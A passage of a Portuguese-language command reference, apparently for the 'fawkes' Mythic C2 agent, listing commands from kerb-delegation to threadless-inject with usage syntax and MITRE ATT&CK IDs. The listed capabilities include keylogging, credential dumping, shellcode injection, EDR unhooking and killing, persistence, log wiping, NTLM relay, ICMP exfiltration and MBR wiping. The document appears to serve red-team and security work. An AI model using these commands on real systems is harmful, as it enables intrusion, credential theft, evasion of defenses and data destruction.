kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Enumerar relacionamentos de delegação Kerberos — não restrita, restrita (com transição de protocolo), RBCD. Ação **monitor** (Windows/SYSTEM apenas) consulta LSA em busca de TGTs recebidos e exporta como blobs kirbi. Multiplataforma exceto monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Registrador de teclado de baixo nível. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Detecta eventos de colagem Ctrl+V/Cmd+V e captura conteúdo da área de transferência. Rastreamento de contexto de janela em todas as plataformas (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Testar opções de movimento lateral contra alvos — verifica conectividade SMB, WinRM, RDP, RPC, SSH e sugere métodos aplicáveis. Multiplataforma (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | Mostrar histórico de login, tentativas de login falhas e eventos de inicialização/desligamento do sistema. Linux: analisa wtmp/btmp. Windows: logs de eventos Security/System. macOS: `last` nativo + log unificado. (T1087.001, T1110, T1082).
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | Consultar Active Directory via LDAP. Consultas predefinidas para usuários, computadores, grupos, administradores de domínio, todos admins (adminCount), SPNs, AS-REP roastable, contas desabilitadas, GPOs, OUs, senha nunca expira, relações de confiança de domínio, delegação não restrita/restrita, análise DACL, extração de senha gMSA, coleta BloodHound CE v6 (usuários/computadores/grupos/OUs/GPOs/confiança para análise de grafo) ou filtros LDAP personalizados. Multiplataforma (T1087.002, T1482, T1555, T1003, T1615).
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | Modificar objetos AD via LDAP. Associação a grupo, atributos, SPNs, habilitar/desabilitar conta, redefinição de senha, credenciais sombra, criação de conta de máquina, delegação RBCD, exclusão de objeto. Abuso de GPO: injetar tarefas agendadas (gpo-task) ou scripts de inicialização (gpo-script). ADCS: modificar modelos de certificado para exploração ESC1/ESC4. Multiplataforma (T1098, T1556.006, T1484.001, T1649).
kill | `kill -pid <PID>` | Terminar um processo pelo PID. Multiplataforma (Windows/Linux/macOS).
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | Ler senhas LAPS do AD via LDAP. Suporta LAPS v1 (ms-Mcs-AdmPwd) e Windows LAPS v2 (ms-LAPS-Password). Multiplataforma (T1552.006).
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Apenas Windows)** Extrair segredos LSA (senhas de serviço, chaves DPAPI, conta de máquina) e credenciais de domínio em cache (formato hashcat DCC2/MSCacheV2). Requer SYSTEM (T1003.004, T1003.005).
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(Apenas macOS)** Instalar, remover ou listar persistência LaunchAgent/LaunchDaemon. Cria plist com RunAtLoad+KeepAlive.
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | Vincular a um agente P2P via TCP ou named pipe para pivoting interno. Modo named pipe usa porta SMB 445 para tráfego Windows mais furtivo. TCP multiplataforma, named pipe apenas Windows (T1572).
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | Criar links simbólicos ou físicos. Links simbólicos podem apontar para caminhos inexistentes. Modo force substitui link existente. Multiplataforma (T1036).
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(Apenas Linux)** Listar, ler, limpar ou adulterar arquivos de log do Linux e registros binários de login (wtmp/btmp/utmp). Suporta remoção seletiva de linhas e fragmentação segura (T1070.002).
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows, Linux, macOS)** Enumerar sessões de logon ativas — usuários, IDs de sessão, estações, estado da conexão. Filtrar por nome de usuário. Windows: API WTS. Linux: análise utmp. macOS: análise utmpx.
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows, Linux, macOS)** Execução proxy LOLBin/GTFOBin. Windows: rundll32, msiexec, regsvcs, regasm, mshta, certutil, regsvr32, installutil, vbs. Multiplataforma: python, lua, perl, ruby, node, awk. Linux: curl, wget, gcc. macOS: osascript, swift, open, curl. T1218/T1059.
ls | `ls [path]` | Listar arquivos e pastas com proprietário/grupo e carimbos de data/hora. Integração com navegador de arquivos. Padrão para diretório de trabalho atual.
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(Apenas Windows)** Criar um token a partir de credenciais: personificar, gerar um processo, ou **auto-verify** (personificar e depois cadeia whoami + getprivs) (T1134.002).
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | Mascaramento e ocultação de arquivos — disfarçar arquivos (dupla extensão, RtLO, espaço, correspondência de processo) ou ocultar da enumeração (ocultar/revelar). Windows: atributos +H/+S. Linux: prefixo dot. macOS: UF_HIDDEN + prefixo dot (T1036, T1564.001).
mkdir | `mkdir <directory>` | Criar um novo diretório (cria diretórios pai se necessário).
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(Apenas Windows)** Injetar shellcode sobrepondo a seção .text de uma DLL legítima. Shellcode executa a partir do espaço de endereço de DLL assinada, ignorando detecção de memória privada (T1055.001).
modules | `modules [-pid <PID>] [-filter <name>]` | Listar módulos/DLLs/bibliotecas carregados em um processo com filtragem opcional por nome. Multiplataforma (T1057).
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | Pesquisar memória de processo por padrões de byte com saída de dump hex. Windows: VirtualQueryEx/ReadProcessMemory. Linux: /proc/pid/maps+mem. macOS: mach_vm_region/mach_vm_read (apenas autovarrição). Suporta padrões string e hex. Multiplataforma (T1005, T1057).
mount | `mount [-filter <substring>] [-fstype <type>]` | Listar sistemas de arquivos montados com dispositivo, ponto de montagem, tipo e opções. Suporta filtragem por nome ou tipo de sistema de arquivos. Multiplataforma (T1082).
mv | `mv <source> <destination>` | Mover ou renomear um arquivo da origem para o destino.
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows, Linux, macOS)** Listar named pipes (Windows), Unix domain sockets e FIFOs (Linux/macOS) para descoberta de IPC. Suporta filtragem por substring (T1083).
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows, Linux, macOS)** Enumeração de rede multiplataforma. Usuários, grupos, membros de grupo, administradores, sessões, compartilhamentos. Windows: Win32 NetAPI (consultas de domínio, unidades mapeadas). Linux: /etc/passwd + /etc/group + utmp + NFS/Samba. macOS: dscl + who + sharing. (T1033, T1049, T1087, T1135).
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | Enumerar associações a grupos AD via LDAP. Resolução recursiva de membros, consulta de grupos de usuário, enumeração de grupos privilegiados. Multiplataforma (T1069.002).
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | Gerenciar contas de usuário local e associação a grupos. Windows: API netapi32. Linux: useradd/userdel/usermod/chpasswd. macOS: dscl/dseditgroup. Desabilitar/habilitar/bloquear para simulação de ransomware T1531. Multiplataforma (T1136.001, T1098, T1531).
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | Listar conexões de rede ativas e portas de escuta com protocolo, estado, PID e nome do processo. Suporta filtragem por estado, protocolo, porta e ID do processo. Multiplataforma.
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(Apenas Windows)** Remover hooks inline de EDR de DLLs restaurando a seção .text a partir de uma cópia limpa. Suporta 5 DLLs ou `all`. `check` relata hooks sem modificação. Fonte `knowndlls` usa objetos de seção \\KnownDlls\\ (evita E/S de disco — mais amigável ao OPSEC) (T1562.001).
syscalls | `syscalls [-action status\|list\|init]` | **(Apenas Windows)** Resolvedor de syscall indireto. Analisa exportações de ntdll para resolver números de syscall Nt* e gera stubs que pulam para o gadget syscall;ret do ntdll. Quando ativo, comandos de injeção ignoram hooks de API no espaço do usuário (T1106).
opus-injection | `opus-injection` | **(Apenas Windows)** Injeção de processo baseada em callback. Variante 1: Cadeia de manipulador Ctrl-C. Variante 4: PEB KernelCallbackTable. [Detalhes](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows, Linux, macOS)** Instalar ou remover persistência. Windows: registro, pasta de inicialização, com-hijack, protetor de tela, ifeo, winlogon, processador de impressão, acessibilidade, active-setup, provedor de tempo, monitor de porta, wmi-event (T1546.003), netsh-helper (T1546.007). Linux: crontab, systemd, shell-profile, ssh-key, xdg-autostart, motd (root, T1546), rc-local (root, T1037.004), apt-hook (root, T1546), udev-rule (root, T1546). macOS: launchagent, periodic (root, T1053.003), folder-action (T1546), login-item (T1547.015), auth-plugin (root, T1547.002), dylib-hijack (T1574.004, scan/install/remove), xpc-service (MachServices + KeepAlive). Todos os métodos suportam instalar/remover/listar.
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows, Linux, macOS)** Enumeração somente leitura de mecanismos de persistência. Windows: registro, inicialização, tarefas, serviços. Linux: cron, systemd, perfis de shell, chaves SSH, LD_PRELOAD, regras udev, módulos do kernel, motd, jobs at, serviços D-Bus, módulos PAM, hooks de pacote, scripts logrotate, NetworkManager dispatcher, anacron. macOS: LaunchAgents, itens de login, scripts periódicos, plugins de autenticação, emond, jobs at (T1547, T1546, T1053, T1543, T1556).
password-managers | `password-managers [-depth <N>]` | Descobrir bancos de dados e arquivos de configuração de gerenciadores de senha — KeePass (.kdbx), 1Password, Bitwarden, LastPass, Dashlane, KeePassXC. Multiplataforma (T1555).
poolparty-injection | `poolparty-injection` | **(Apenas Windows)** Injetar shellcode usando técnicas PoolParty que abusam de internas do Thread Pool do Windows. Todas as 8 variantes suportadas. [Detalhes](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` ou `ping -action exfil-icmp -target <IP> -file <path>` | Conectividade de host via TCP connect (T1018) + exfiltração de dados ICMP via payloads de solicitação de eco com codificação XOR e jitter (T1048.003, T1095).
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(Apenas Windows)** Personificação de named pipe para escalonamento de privilégio. Criar servidor pipe, aguardar conexão de cliente privilegiado, personificar token. Requer SeImpersonatePrivilege (T1134.001).
printspoofer | `printspoofer [-timeout 15]` | **(Apenas Windows)** Escalonamento de privilégio PrintSpoofer — SeImpersonate para SYSTEM via Print Spooler. Cria named pipe, aciona conexão do spooler via OpenPrinterW, personifica token SYSTEM. Um passo NETWORK SERVICE → SYSTEM (T1134.001).
pkg-list | `pkg-list [-filter <substring>]` | Listar pacotes e software instalados. Enumera dpkg/rpm/apk (Linux), Homebrew/Applications (macOS) ou chaves de desinstalação do registro (Windows). Suporta filtragem por nome. Multiplataforma (T1518).
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | Varredura TCP connect para descoberta de serviços de rede. Suporta CIDR, faixas de IP e faixas de porta. Multiplataforma.
powershell | `powershell <command> [--encoded]` | **(Apenas Windows)** Executar um comando PowerShell via powershell.exe com flags endurecidas para OPSEC (abreviadas, randomizadas). Suporta modo de comando codificado para ocultar argumentos da árvore de processo.
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(Apenas Windows)** Analisar e gerenciar arquivos Prefetch do Windows. Listar programas executados, analisar histórico de execução (até 8 carimbos de data/hora), excluir entradas específicas ou limpar tudo. Suporta arquivos comprimidos MAM (T1070.004).
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | Enumeração e exploração de escalonamento de privilégio. `auto-escalate`: cadeia de subtarefas automatizada — enumera todos os vetores e tenta o melhor escalonamento disponível (bypass de UAC, roubo de token ou sudo). `hijack-execute`: fábrica automatizada de DLL proxy — lê exportações da DLL alvo, servidor compila DLL proxy com shellcode embutido (mingw). `hijack-deploy`: implanta DLL proxy (renomeia original, coloca proxy). `hijack-trigger`: aciona o hijack — reinicia um serviço (`-trigger restart -service_name <svc>`) ou gera um processo (`-trigger spawn -source <exe>`) para carregar a DLL proxy. `hijack-cleanup`: reverte um hijack implantado (exclui proxy, restaura original). Windows: privilégios de token, serviços não cotados, AlwaysInstallElevated, autologon, UAC, arquivos unattend, varredura de DLL hijack (DLLs fantasmas, PATH gravável, KnownDLLs), plantio de DLL com timestomp, sideloading de DLL, enumeração de exportações PE (dll-exports com geração de arquivo DEF), abuso de permissão de registro de serviço. Linux: SUID/SGID, capacidades, sudo, contêineres, sequestro de cron, NFS no_root_squash, unidades systemd, tokens sudo, sequestro de PATH, grupo docker, grupos perigosos, regras Polkit, hooks modprobe, injeção ld.so.preload, módulos de segurança (AppArmor/SELinux). macOS: LaunchDaemons, TCC, sequestro de dylib, SIP. Multiplataforma (T1548, T1574.001, T1574.002, T1574.009, T1574.011).
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` ou `psexec -action check -host <target>` | **(Apenas Windows)** Executar comandos em hosts remotos via criação de serviço SCM — movimento lateral estilo PSExec. `check` valida pré-requisitos (SMB 445, acesso SCM, compartilhamentos admin) sem executar. MITRE T1021.002, T1569.002.
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(Apenas Linux)** Inspeção profunda de /proc: detalhes do processo (cmdline, env, caps, cgroups, namespaces, FDs), conexões de rede com resolução de PID, montagens, módulos do kernel. MITRE T1057.
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(Apenas Windows)** Consultar ou definir políticas de mitigação de processo (DEP, ASLR, CIG, ACG, CFG). Definir CIG para bloquear carregamento de DLL não assinada (defesa contra EDR). MITRE T1480.
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | Exibir hierarquia de processos como árvore com relações pai-filho. Ajuda a identificar alvos de injeção e ferramentas de segurança. Multiplataforma (T1057).
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | Despejar memória de processo. Windows: MiniDumpWriteDump com descoberta automática de LSASS. Linux: despejo de região /proc/pid/mem. Ação search encontra processos que contêm credenciais. Envia para Mythic e limpa do disco. MITRE T1003.001, T1003.007.
proxy-check | `proxy-check [-test_url <URL>]` | Detectar configurações de proxy a partir de variáveis de ambiente, configuração do SO (registro, arquivos de configuração) e transporte Go. Teste de conectividade opcional. Multiplataforma (T1016).
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | Listar processos em execução com integração com navegador de processos do Mythic. Filtrar por nome, PID, PID pai ou nome de usuário. Multiplataforma.
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(Apenas Linux, amd64/arm64)** Injeção de processo via ptrace — PTRACE_ATTACH/POKETEXT/SETREGS com restauração de registrador e código. Pré-verificação de ptrace_scope Yama com orientação acionável. Modo check relata ptrace_scope, capacidades e candidatos (T1055.008).
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** Iniciar uma sessão interativa de shell PTY via tarefa interativa do Mythic. Emulação completa de terminal com E/S bidirecional (T1059).
pwd | `pwd` | Exibir diretório de trabalho atual.
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(Apenas Windows)** Ler bytes do endereço de uma função DLL.
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(Apenas Windows)** Operações unificadas de registro — ler, escrever, excluir, pesquisar e salvar hives (T1012, T1112, T1003.002).
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | Ler/escrever registro em hosts Windows remotos via WinReg RPC sobre named pipes SMB. Suporta pass-the-hash. Multiplataforma (T1012, T1112, T1021.002).
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | Gerenciar serviços em hosts Windows remotos via SVCCTL RPC. Operações padrão + movimento lateral avançado: modify-path (sequestrar binpath de serviço existente), trigger (criar serviço acionado por trigger), dll-sideload (sequestro de registro ServiceDll). Pass-the-hash. Multiplataforma (T1569.002, T1543.003, T1574.001).
rev2self | `rev2self` | **(Apenas Windows)** Reverter ao contexto de segurança original, descartando qualquer token de personificação ativo.
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | Exibir tabela de roteamento do sistema com filtragem opcional. Windows: API GetIpForwardTable, Linux: /proc/net/route + IPv6, macOS: netstat -rn. Multiplataforma (T1016).
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | Encaminhamento de porta: reverso (Mythic roteia para o alvo) ou direto (agente retransmite para alvo interno). Multiplataforma (T1090).
rm | `rm [-path <path>] [-secure true]` | Remover um arquivo ou diretório. `-secure true` sobrescreve com dados aleatórios (3 passagens) antes da exclusão, evitando recuperação forense (T1070.004).
run | `run <command>` | Executar um comando de shell e retornar a saída.
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | Executar um comando como outro usuário. Windows: CreateProcessWithLogonW (suporta /netonly). Linux/macOS: setuid como root, ou sudo -S com senha. Multiplataforma (T1134.002).
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | Gerenciar tarefas agendadas. Windows: API COM Task Scheduler. Linux: crontab, timers systemd, jobs at. macOS: LaunchAgents/LaunchDaemons, crontab, at. Multiplataforma (T1053).
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | Capturar uma única captura de tela ou gravar capturas contínuas em intervalos. Envia como PNG. Modo record: intervalo/duração/max_frames configuráveis, parável via jobkill. Windows: GDI. macOS: screencapture. Linux: detecção automática X11/Wayland. Multiplataforma (T1113).
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | Pesquisar arquivos em busca de segredos, chaves de API, chaves privadas, strings de conexão e padrões sensíveis. 42 padrões regex (AWS, GitHub, Slack, Stripe, Vault, DigitalOcean, Shopify, Databricks, New Relic, PagerDuty, Okta, Sentry, Datadog, CircleCI, etc.) com ocultação de valor. Caminhada de diretório com limite de profundidade, pula diretórios ruidosos. Multiplataforma (T1552.001, T1005).
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | Excluir arquivos, limpar dados ou destruir registros de inicialização de forma segura. `delete`: sobrescrita aleatória + remoção. `wipe`: destruição agressiva com padrões (T1485). `wipe-mbr`: sobrescrever registro de inicialização MBR/GPT em dispositivo de disco bruto (T1561). Portão de segurança necessário. Multiplataforma (T1070.004, T1485, T1561).
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | Relatar postura de segurança e controles ativos, detectar produtos EDR/XDR (20+ fornecedores), enumerar drivers minifilter com classificação EDR, ou listar drivers de kernel carregados com análise de EDR/callback. SELinux/AppArmor/seccomp/ASLR (Linux), SIP/Gatekeeper/FileVault (macOS), Defender/UAC/Credential Guard/BitLocker (Windows). Multiplataforma (T1082, T1518.001).
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | Farejamento de rede, envenenamento e relay NTLM. `capture`: extração passiva de credenciais (HTTP, FTP, NTLM, Kerberos, LDAP, SMTP AUTH, Telnet). `poison`: responder ativo com captura de hash SMB+HTTP — hashes NTLMv2 no modo hashcat 5600. `relay`: relay NTLM para SMB alvo. `ldap-relay`: relay NTLM para LDAP alvo com operações pós-autenticação (whoami, add-computer, RBCD, dump-laps) (T1040, T1557.001).
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | Percorrer compartilhamentos SMB em vários hosts em busca de arquivos sensíveis — credenciais, configurações, scripts. Pesquisa recursiva de diretório com suporte pass-the-hash. Multiplataforma (T1135, T1039).
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | Operações de arquivo SMB2 em compartilhamentos remotos — listar, navegar, ler/escrever/excluir, push para transferência lateral de ferramentas, exfil para exfiltração de dados, taint para plantar arquivos. **share-perms**: testar acesso de leitura/gravação em todos os compartilhamentos. **share-spider**: listagem recursiva de diretório com filtros de profundidade/extensão. **share-search**: encontrar arquivos sensíveis em compartilhamentos usando padrões internos ou personalizados. Autenticação NTLM + pass-the-hash. Multiplataforma (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003).
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows, Linux, macOS)** Gerenciar serviços + segmentação EDR/AV. `edr-enum`: detectar serviços de segurança instalados (60+ assinaturas). `edr-kill`: parar+desabilitar EDR detectado (portão de segurança necessário). Windows SCM, Linux systemd, macOS launchd (T1543, T1489, T1562.001).
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | Definir ou remover variáveis de ambiente no processo agente. Multiplataforma.
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | Ler histórico de shell, listar/ler/injetar/remover/limpar arquivos de configuração de shell. Linux/macOS: bashrc/zshrc. Windows: perfis PowerShell + histórico PSReadLine. T1546.004/T1546.013/T1552.003/T1070.003.
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` ou `sleep -interval 60 -jitter 30 -jitter_profile normal` | Definir intervalo de callback, jitter, horário de trabalho e perfil de distribuição de jitter (uniforme/normal/exponencial). Distribuição normal agrupa perto do intervalo; exponencial imita padrões humanos irregulares.
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | Iniciar, parar, ver estatísticas ou definir largura de banda para proxy SOCKS5. Suporta relay TCP CONNECT e UDP ASSOCIATE (RFC 1928) para ferramentas DNS/UDP através do proxy. Limitação opcional de largura de banda por conexão em KB/s. Stats mostra conexões ativas, bytes TX/RX, histórico recente.
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | Ordenar linhas de um arquivo. Suporta modos alfabético, numérico, reverso e único. Multiplataforma (T1083).
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(Apenas Windows)** Gerar um processo ou thread suspenso para injeção. Suporta falsificação de PPID (T1134.004) e bloqueio de DLL não Microsoft.
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | Pulverização de senha contra AD via pré-autenticação Kerberos, bind LDAP ou autenticação SMB. SMB suporta pass-the-hash. Ciente de bloqueio com atraso/jitter configuráveis. Multiplataforma (T1110.003, T1550.002).
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | Executar comandos, enviar arquivos ou criar túneis SSH. `check` valida pré-requisitos SSH (porta, autenticação, shell). tunnel-local (-L), tunnel-remote (-R), tunnel-dynamic (-D SOCKS5). Multiplataforma (T1021.004, T1570, T1572).
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(Apenas Linux/macOS)** Enumerar sockets do agente SSH e listar chaves carregadas. Descobre SSH_AUTH_SOCK, varre /tmp/ssh-*, /run/user/*, GNOME keyring. Relata impressões digitais das chaves para o cofre de credenciais (T1552.004).
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | Gerenciamento de chaves SSH e automação de movimento lateral. Ler/injetar authorized_keys, ler chaves privadas, gerar pares de chaves, enumerar configuração SSH. Movimento lateral: find-reachable (varredura de sub-rede), try-keys (testar chaves), auto-move (cadeia scan→auth→exec). Windows: sessões/registro PuTTY, chaves .ppk, WSL, OpenSSH, configuração SSH Git. Multiplataforma (T1552.004, T1552.002, T1098.004, T1021.004, T1046).
stat | `stat -path <file_or_dir>` | Exibir metadados de arquivo/diretório: tipo, tamanho, permissões, carimbos de data/hora. Detalhes específicos da plataforma — inode/proprietário (Linux/macOS), atributos de arquivo (Windows). Ciente de link simbólico via Lstat. Multiplataforma (T1083).
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | Extrair strings ASCII imprimíveis de arquivos. Encontrar texto embutido, URLs, credenciais em binários. Filtro de padrão, controle de comprimento mínimo, deslocamento/tamanho máximo. Multiplataforma (T1005).
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(Apenas Windows)** Inicializar CLR v4 ou executar assemblies .NET. Ação `execute-assembly` aplica patch automático em AMSI+ETW e executa assembly em uma etapa (como execute-assembly do CS). Modo manual com -amsi_patch/-etw_patch para controle fino.
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(Apenas Linux)** Instalar, remover ou listar persistência de serviço/timer systemd. Escopo de usuário ou sistema. MITRE T1543.002.
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(Apenas Windows)** Roubar um token de outro processo: personificá-lo ou gerar um processo com ele (T1134.002).
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(Apenas Windows)** Cofre de tokens nomeados — salvar, listar, restaurar, remover e visualizar histórico de transições de identidade. Permite alternância rápida entre identidades roubadas/criadas sem precisar roubar novamente (T1134.001).
suspend | `suspend -action <suspend\|resume> -pid <PID>` | Suspender ou retomar um processo. Pausa tática de EDR/AV durante operações sensíveis. Windows: NtSuspendProcess/NtResumeProcess. Linux/macOS: SIGSTOP/SIGCONT. Multiplataforma (T1562.001).
sysinfo | `sysinfo [-action info\|full-profile]` | Informações abrangentes do sistema: versão do SO, hardware, memória, tempo de atividade, domínio, .NET (Windows), status SELinux/SIP. `full-profile` executa cadeia automatizada de criação de perfil do host em 5 etapas (sysinfo → ps → security-info → privesc-check → persist-enum). Multiplataforma (T1082).
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(Apenas Windows)** Detecta instalação do Sysmon e extrai configuração — status do serviço/driver, algoritmo de hash, flags de opções, tamanho dos dados de regra, canais de evento. Detecta instalações renomeadas via altitude do minifilter (T1518.001, T1562.001).
tac | `tac -path <file>` | Imprimir linhas do arquivo em ordem reversa. Útil para visualizar logs do mais novo ao mais antigo. Multiplataforma (T1083).
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | Ler primeiras ou últimas N linhas/bytes de um arquivo sem transferir o conteúdo inteiro. Buffer circular para tail eficiente, busca reversa para arquivos grandes. Multiplataforma (T1005, T1083).
tcc-check | `tcc-check [-service <filter>]` | **(Apenas macOS)** Enumerar permissões TCC (Transparency, Consent, and Control). Descobrir quais aplicativos têm permissão para câmera, microfone, gravação de tela, acesso total ao disco. Agrupa por serviço com resumo de permitidos (T1082).
touch | `touch -path <file> [-mkdir true]` | Criar um arquivo vazio ou atualizar carimbos de data/hora de arquivo existente. Criação opcional de diretório pai. Multiplataforma (T1106).
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows, macOS)** Injetar shellcode via sequestro de execução de thread — suspender thread existente, redirecionar PC/RIP para shellcode, retomar. macOS usa APIs Mach (task_for_pid + thread_get/set_state), requer root (T1055.003).
threadless-inject | `threadless-inject` | **(Apenas Windows)** Injetar shellcode usando injeção sem thread, hookando uma função DLL em um processo remoto. Mais furtivo que injeção comum, pois não cria novas threads.
